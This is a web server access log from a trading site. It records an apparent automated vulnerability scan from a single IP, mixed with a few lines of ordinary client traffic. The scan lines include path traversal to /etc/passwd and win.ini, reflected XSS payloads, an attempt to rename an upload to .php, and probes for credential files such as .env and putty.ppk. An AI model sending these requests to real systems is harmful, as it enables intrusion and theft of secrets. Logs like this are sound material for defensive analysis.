[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //admin/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dana-cached/hc/HostCheckerInstaller.osx HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://192.168.1.1:22/ HTTP/1.1" 226
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%20../web-inf/ HTTP/1.1" 199
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/mstrWebAdmin HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /run.php?project=admin&execute_mode=ADMIN&clear_session=1 HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redfish/v1/ HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resources/autogenerated/product-info.json HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redis.conf HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resin-doc/viewfile/?file=index.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpMyAdmin/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /prtg/index.htm HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=../../../../../index.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /qlikview/FormLogin.htm HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/database.yml HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dana-na/auth/url_2/welcome.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0aaaaaa HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /qcubed/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /production.log HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?subreddit=news&score=2134%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?/AdminAppData@no-mobile-0/0/15503332983847185/ HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/automerge.yml HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/upload?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/login HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/console/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lib/crud/userprocess.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env_1 HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /qvisdvr/ HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.yml HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sso/UI HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /putty.ppk HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /euweb/login HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/pubspec.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ HTTP/1.1" 199
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/prometheus HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.ru HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /configuration.yml HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/10 HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Account/login HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpLogin.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380Cy88w7ojaPnkKjWPV9qYEv63.txt HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log.txt HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/guest/tw/websys/webArch/login.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://localhost/ HTTP/1.1" 226
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /admin.php?p=login HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/robomongo.json HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /shop/products?category=cordless-tools&min=1026553%3balert(document.domain)%2f%2f772 HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /server_import.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphiql/finland HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /qmailadmin/qmailadmin.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //1.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/signin HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rollup.config.js HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downloader.log HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/JMImplementation:type=MBeanServerDelegate/SpecificationName HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://127.0.0.1:587 HTTP/1.1" 226
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /./../../../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.json?FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //info.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?action=login.index HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /roundcube/logs/sendmail HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RDWeb/ HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3/phpmyadmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php?action=login.index HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /routes.ini HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //_phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //htdocs/index.php/cmd.php?cmd=template_engine&dn=%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&meth=ajax&server_id=1 HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../../windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.js HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.integrations/aws/kinesis/auto_setup/create_subscription_policy HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /royal_event/companyprofile.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/taskProc/ HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/upload.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /royal_event/ HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /reportico/run.php?project=admin&execute_mode=ADMIN&clear_session=1 HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://192.168.2.1/ HTTP/1.1" 226
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpmyadmin/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /PRTG/index.htm HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en/login HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /adminweb/ HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard/auth/login HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.rubocop.yml HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /storage.yml HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lib/crud/userprocess.php HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console-selfservice/SelfService.do HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /psp/fscmprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:52:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:52:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:52:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:52:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927399468 HTTP/1.1" -
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /roundcube/logs/sendmail.log HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fileman/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /main.ehp HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/read/JMImplementation:type=MBeanServerDelegate/SpecificationVendor HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/login.php?user=admin HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dana-na/auth/url_3/welcome.cgi HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/renamefile.php?f=%2Fapp%2FUploads%2F380CyGauroz3zvnOZzq1I6xqWvW.jpg&n=380CyGauroz3zvnOZzq1I6xqWvW.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://192.168.2.1/ HTTP/1.1" 226
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/wizard.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /down.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /forms/doLogin HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/taskProc HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_phpmyadmin/index.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/edr/sangforinter/v2/cssp/slog_client?token=eyJtZDUiOnRydWV9 HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /(download)/tmp/poc.txt HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /irj/portal HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /rep/login HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/public/info HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sap/public/bc/icf/logoff?redirecturl=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/storage.yml HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /report/download.php?pdf=../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.integrations/aws/kinesis/health_check HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //htdocs/index.php/index.php?redirect=true&meth=ajax HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/html/login.html HTTP/1.1" 199
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env_sample HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sws/app/gnb/login/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /aura HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /PMA/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s3cmd.ini HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/configuration.yml HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loadtextfile.htm HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //administrator/components/com_joommyadmin/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.php HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php?login HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/error.log HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/login/page HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/variable?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.json/FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:52:10 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gateway HTTP/1.1" 196
